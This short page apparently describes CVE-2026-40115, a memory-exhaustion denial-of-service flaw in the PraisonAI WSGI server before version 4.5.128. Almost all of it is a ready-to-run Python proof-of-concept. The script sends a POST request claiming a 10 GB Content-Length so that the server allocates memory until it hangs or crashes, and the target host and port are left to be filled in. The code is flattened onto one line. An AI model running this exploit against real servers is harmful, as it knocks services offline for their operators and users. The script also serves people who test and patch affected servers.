CVE-2026-40115 PraisonAI内存耗尽拒绝服务漏洞

import socket # PoC for CVE-2026-40115: PraisonAI Memory Exhaustion DoS # Target: PraisonAI WSGI server (server.py) < 4.5.128 # Usage: python3 poc.py def send_malicious_request(host, port): try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Define a huge Content-Length to exhaust memory (e.g., 10 GB) # The server will attempt to allocate this amount of memory malicious_length = 10737418240 # 10GB # Construct HTTP POST request request = f"POST / HTTP/1.1\r\n" request += f"Host: {host}\r\n" request += f"Content-Length: {malicious_length}\r\n" request += f"\r\n" # Send the request headers s.send(request.encode()) print(f"[+] Sent malicious request to {host}:{port}") print(f"[+] Claimed Content-Length: {malicious_length} bytes") print("[+] Server should now attempt to allocate memory and hang or crash.") # Keep connection open briefly to ensure server processes headers s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": TARGET_HOST = "127.0.0.1" # Replace with target IP TARGET_PORT = 8000 # Replace with target port send_malicious_request(TARGET_HOST, TARGET_PORT)